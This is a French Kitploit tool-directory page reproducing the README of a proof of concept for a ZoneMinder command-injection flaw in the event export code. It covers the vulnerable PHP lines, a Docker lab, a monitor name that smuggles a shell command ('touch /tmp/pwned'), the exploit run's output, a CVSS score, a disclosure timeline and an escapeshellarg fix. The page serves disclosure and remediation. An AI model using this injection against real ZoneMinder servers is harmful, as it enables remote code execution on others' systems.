Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
zoneminder-rce-poc — CVE-2026-76060 PoC pour une vulnérabilité ZoneMinder menant à une RCE | Kitploit
Outils/GitHubGitHub/investigato/zoneminder-rce-poc
Analyse des VulnérabilitésAnalyse de CodeExploitationExploitation d'Applications WebTests d'IntrusionRed Teaming
GitHubinvestigato/zoneminder-rce-poc

zoneminder-rce-poc

CVE-2026-76060 PoC pour une vulnérabilité ZoneMinder menant à une RCE

Voir le dépôt
1il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

just wait and see

Preuve de concept pour une vulnérabilité d'injection de commandes OS dans la fonctionnalité d'exportation d'événements de ZoneMinder (web/includes/download_functions.php).

Les noms de moniteurs sont interpolés directement dans les commandes shell en utilisant un encadrement manuel par guillemets simples au lieu de escapeshellarg(). Un attaquant capable de créer un moniteur peut injecter des commandes shell arbitraires qui s'exécutent en tant que www-data/l'utilisateur sous lequel le processus tourne lorsqu'un utilisateur déclenche une exportation d'événement.

Causes sous-jacentes

  • Commit 44c5c3c du 4 octobre 2023 : c'est ici que le fichier download_functions.php a été introduit. Le message du commit est « Introduce new download mode that concats event videos into 1 file per monitor. » Le code vulnérable est présent ici, mais nécessitait qu'un administrateur crée d'abord le moniteur.
  • Commit 2d49e93 du 2 janvier 2024 « Introduce a Create permission for Monitors, so that a given user may Edit existing monitors, but not create new ones. » C'est ici que les choses changent un peu. Désormais, un utilisateur disposant uniquement de peut configurer le nom du moniteur pour l'attaque, et n'importe quel utilisateur disposant des droits d'exportation peut la déclencher.
Monitors=Create

Versions concernées : >= 1.37.48 (contient les modifications de migration SQL) et <= 1.38.1 La branche 1.36.x n'est pas concernée.

Comment ça fonctionne

Deux utilisateurs. Deux niveaux de privilèges. Un seul shell.

  • medpriv dispose de Monitors=Create ou Monitors=Edit s'il existe déjà un moniteur.
  • lowpriv dispose de juste assez d'accès pour déclencher une exportation d'événement. Il appuie sur la gâchette sans le savoir.

L'enregistrement d'événement n'a pas besoin d'être créé manuellement. ZoneMinder est un système de caméras... il crée automatiquement les enregistrements d'événements lorsque les caméras tournent. Dans un déploiement en production, l'étape de configuration est : créer le moniteur, puis s'éloigner.

Deux points d'injection, une seule source

Le nom de moniteur non assaini atteint deux appels exec() distincts :

Ligne 126 | ffmpeg :

root@kitploit:~
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy \''.$export_dir.'/'.$mergedFileName. '\' 2>&1';
exec($cmd, $output, $return);

Ligne 150 | tar/zip :

root@kitploit:~
$command .= ' \''.$mergedFileName.'\'';
if (executeShelCommand($command, $deleteFile = $mergedFileName) === false) return false;

Les deux sont atteignables à partir du même nom de moniteur soigneusement conçu, quel que soit le format d'exportation.

Prérequis

  • Docker
  • Docker Compose

Utilisation

root@kitploit:~
git clone https://github.com/investigato/zoneminder-rce-poc.git
cd zoneminder-rce-poc
docker compose up -d
# wait for ZoneMinder to finish initializing (~30 seconds)
uv run poc.py

init.sql initialise la base de données avec l'authentification activée et deux utilisateurs :

  • medpriv avec les droits de création de moniteurs (et, pour des raisons de temps, également les droits de création d'événements, mais ce n'est pas nécessaire en production)
  • lowpriv avec uniquement l'accès à l'exportation d'événements

uv run poc.py exécute la chaîne complète :

  1. medpriv s'authentifie via l'API et crée un moniteur nommé poc'; touch /tmp/pwned; echo '
  2. medpriv crée un enregistrement d'événement pour accélérer la démonstration (en production, ZoneMinder le fait automatiquement)
  3. lowpriv s'authentifie et déclenche une exportation d'événement
  4. Le script vérifie /tmp/pwned dans le conteneur et affiche le résultat

Sortie attendue :

root@kitploit:~
Login: 200
Token: ok
Create monitor: 200 — {"message":"Saved"}
Created monitor ID=1 name="poc'; touch /tmp/pwned; echo '"
Create event: 200
Event ID=1
Login: 200
Token: ok
Export: 200 = {"result":"Ok","exportFile":"?view=download&type=zip&file=Export.zip","exportFormat":"zip","connkey":""}
Deleted event 1
Deleted monitor 1

Did it work?
running docker exec ... ls -la /tmp/pwned inside the container to check if the file was created
Success! Command injection worked, /tmp/pwned was created inside the container.
-rw-r--r-- 1 www-data www-data 0 Jun  6 18:32 /tmp/pwned

CVSS

8.4 (High) : AV:N/AC:L/PR:R/UI:R/S:C/C:H/I:H/A:H

On peut débattre entre PR:L et PR:R, mais dans les deux cas, il s'agit d'une vulnérabilité d'exécution de code à distance de haute sévérité dans un projet open source largement utilisé. La surface d'attaque est assez étendue, et le fait que la gâchette puisse être actionnée par un utilisateur différent de celui qui configure le nom du moniteur ajoute une tournure intéressante à l'exploitabilité. Si l'on accepte PR:L, cela devient un 9.0 (Critical).

Dans tous les cas, au minimum, escapeshellarg() ne coûte rien.

Divulgation

  • 03/08/2026 : Signalé via l'adresse e-mail de contact sécurité de ZoneMinder
  • 03/09/2026 : Corrigé dans le commit b3a7c05
  • 06/08/2026 : Divulgation publique

[!NOTE] Corrigé dans les 12 heures suivant le signalement. Aucune reconnaissance de la part du mainteneur qu'il s'agit d'un problème de sécurité. Je ne suis pas d'accord

Correctif

Appliquez escapeshellarg() aux deux points d'injection au minimum :

root@kitploit:~
// Line 126
$cmd = ZM_PATH_FFMPEG.' -f concat -safe 0 -i event_files.txt -c copy '.escapeshellarg($export_dir.'/'.$mergedFileName).' 2>&1';

// Line 150
$command .= ' '.escapeshellarg($mergedFileName);

Les lignes 116 et 211 dans generateFileList() présentent le même schéma.


Découvert par (@investigato)
Analyse complète : scriptkittens.com

Télécharger l’outil